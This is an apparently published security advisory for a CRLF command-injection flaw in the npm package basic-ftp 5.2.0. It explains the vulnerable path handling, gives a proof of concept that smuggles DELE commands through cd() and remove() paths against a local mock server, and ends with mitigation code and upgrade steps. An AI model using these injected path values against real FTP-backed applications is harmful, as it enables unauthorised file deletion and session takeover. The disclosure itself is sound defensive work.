Skip to content

GHSA-chqc-8p9q-pq6q CVE-2026-39983

basic-ftp has FTP Command Injection via CRLF

High npm
Severity
8.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
2.19%
Chance of exploitation in the next 30 days. Higher than 82.39% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')
Fix
5.2.1
Upgrade basic-ftp to this version or later

Description

Summary

basic-ftp version 5.2.0 allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.

Affected product

Product Affected versions Fixed version
basic-ftp (npm) 5.2.0 (confirmed) no fix available as of 2026-04-04

Vulnerability details

  • CWE: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
  • CVSS 3.1: 8.6 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
  • Affected component: dist/Client.js, all path-handling methods via protectWhitespace() and send()

The vulnerability exists because of two interacting code patterns:

1. Inadequate path sanitization in protectWhitespace() (line 677):

async protectWhitespace(path) {
    if (!path.startsWith(" ")) {
        return path;  // No sanitization of \r\n characters
    }
    const pwd = await this.pwd();
    const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
    return absolutePathPrefix + path;
}

This function only handles leading whitespace. It does not strip or reject \r (0x0D) or \n (0x0A) characters anywhere in the path string.

2. Direct socket write in send() (FtpContext.js line 177):

send(command) {
    this._socket.write(command + "\r\n", this.encoding);
}

The send() method appends \r\n to the command and writes directly to the TCP socket. If the command string already contains \r\n sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.

Affected methods (all call protectWhitespace() → send()):

  • cd(path) → CWD ${path}
  • remove(path) → DELE ${path}
  • list(path) → LIST ${path}
  • downloadTo(localPath, remotePath) → RETR ${remotePath}
  • uploadFrom(localPath, remotePath) → STOR ${remotePath}
  • rename(srcPath, destPath) → RNFR ${srcPath} / RNTO ${destPath}
  • removeDir(path) → RMD ${path}

Technical impact

An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:

  1. Arbitrary file deletion: Inject DELE /critical-file to delete files on the FTP server
  2. Directory manipulation: Inject MKD or RMD commands to create/remove directories
  3. File exfiltration: Inject RETR commands to trigger downloads of unintended files
  4. Server command execution: On FTP servers supporting SITE EXEC, inject system commands
  5. Session hijacking: Inject USER/PASS commands to re-authenticate as a different user
  6. Service disruption: Inject QUIT to terminate the FTP session unexpectedly

The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.

Proof of concept

Prerequisites:

mkdir basic-ftp-poc && cd basic-ftp-poc
npm init -y
npm install basic-ftp@5.2.0

Mock FTP server (ftp-server-mock.js):

const net = require('net');
const server = net.createServer(conn => {
  console.log('[+] Client connected');
  conn.write('220 Mock FTP\r\n');
  let buffer = '';
  conn.on('data', data => {
    buffer += data.toString();
    const lines = buffer.split('\r\n');
    buffer = lines.pop();
    for (const line of lines) {
      if (!line) continue;
      console.log('[CMD] ' + JSON.stringify(line));
      if (line.startsWith('USER')) conn.write('331 OK\r\n');
      else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n');
      else if (line.startsWith('FEAT')) conn.write('211 End\r\n');
      else if (line.startsWith('TYPE')) conn.write('200 OK\r\n');
      else if (line.startsWith('PWD'))  conn.write('257 "/"\r\n');
      else if (line.startsWith('OPTS')) conn.write('200 OK\r\n');
      else if (line.startsWith('STRU')) conn.write('200 OK\r\n');
      else if (line.startsWith('CWD'))  conn.write('250 OK\r\n');
      else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n');
      else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); }
      else conn.write('200 OK\r\n');
    }
  });
});
server.listen(2121, () => console.log('[*] Mock FTP on port 2121'));

Exploit (poc.js):

const ftp = require('basic-ftp');

async function exploit() {
  const client = new ftp.Client();
  client.ftp.verbose = true;
  try {
    await client.access({
      host: '127.0.0.1',
      port: 2121,
      user: 'anonymous',
      password: 'anonymous'
    });

    // Attack 1: Inject DELE command via cd()
    // Intended: CWD harmless.txt
    // Actual:   CWD harmless.txt\r\nDELE /important-file.txt
    const maliciousPath = "harmless.txt\r\nDELE /important-file.txt";
    console.log('\n=== Attack 1: DELE injection via cd() ===');
    try { await client.cd(maliciousPath); } catch(e) {}

    // Attack 2: Double DELE via remove()
    const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt";
    console.log('\n=== Attack 2: DELE injection via remove() ===');
    try { await client.remove(maliciousPath2); } catch(e) {}

  } finally {
    client.close();
  }
}
exploit();

Running the PoC:

# Terminal 1: Start mock FTP server
node ftp-server-mock.js

# Terminal 2: Run exploit
node poc.js

Expected output on mock server:

"OPTS UTF8 ON"
"USER anonymous"
"PASS anonymous"
"FEAT"
"TYPE I"
"STRU F"
"OPTS UTF8 ON"
"CWD harmless.txt"
"DELE /important-file.txt"   <-- injected from cd()
"DELE decoy.txt"
"DELE /secret-data.txt"      <-- injected from remove()
"QUIT"

This command trace was reproduced against the published basic-ftp@5.2.0 package on Linux with a local mock FTP server. The injected DELE commands are received as distinct FTP commands, confirming that CRLF inside path parameters is not neutralized before socket write.

Mitigation

Immediate workaround: Sanitize all path inputs before passing them to basic-ftp:

function sanitizeFtpPath(path) {
  if (/[\r\n]/.test(path)) {
    throw new Error('Invalid FTP path: contains control characters');
  }
  return path;
}

// Usage
await client.cd(sanitizeFtpPath(userInput));

Recommended fix for basic-ftp: The protectWhitespace() function (or a new validation layer) should reject or strip \r and \n characters from all path inputs:

async protectWhitespace(path) {
    // Reject CRLF injection attempts
    if (/[\r\n\0]/.test(path)) {
        throw new Error('Invalid path: contains control characters');
    }
    if (!path.startsWith(" ")) {
        return path;
    }
    const pwd = await this.pwd();
    const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
    return absolutePathPrefix + path;
}

References

Affected versions

npm

PackageVulnerableFixed in
basic-ftp 1 listed versions No fix yet
basic-ftp
>= 5.2.0, < 5.2.1
5.2.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

basic-ftp npm → 5.2.1

npm
npm install basic-ftp@5.2.1
yarn
yarn add basic-ftp@5.2.1
pnpm
pnpm add basic-ftp@5.2.1

Severity breakdown

CVSS 3.1 8.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

Weakness

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

How to prevent it
  • Implementation: Avoid using CRLF as a special sequence.
  • Implementation: Appropriately filter or quote CRLF sequences in user-controlled input.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-c475-qrg2-pj4r
basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)
High Also affects basic-ftp
GHSA-rpmf-866q-6p89
basic-ftp allows a malicious FTP server to cause client-side denial of service via unbounded multiline control response buffering
High Also affects basic-ftp
GHSA-rp42-5vxx-qpwr
basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()
High Also affects basic-ftp
GHSA-6v7q-wjvx-w8wg
basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands
High Also affects basic-ftp
GHSA-5rq4-664w-9x2c
Basic FTP has Path Traversal Vulnerability in its downloadToDir() method
Critical Also affects basic-ftp
GHSA-h4x7-gw46-3wm6
HTTPX2: Multipart part header injection via unvalidated file Content-Type and custom headers
Medium Same weakness, CWE-93
GHSA-j9f9-w8pj-32f8
Spring Framework Server Sent Event stream corruption while rendering fragments
Critical Same weakness, CWE-93
EEF-CVE-2026-75484
HTTP/2 header field values containing CR, LF or NUL are passed to the application unvalidated in Bandit
Not rated yet Same weakness, CWE-93

Credits: zebbern

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor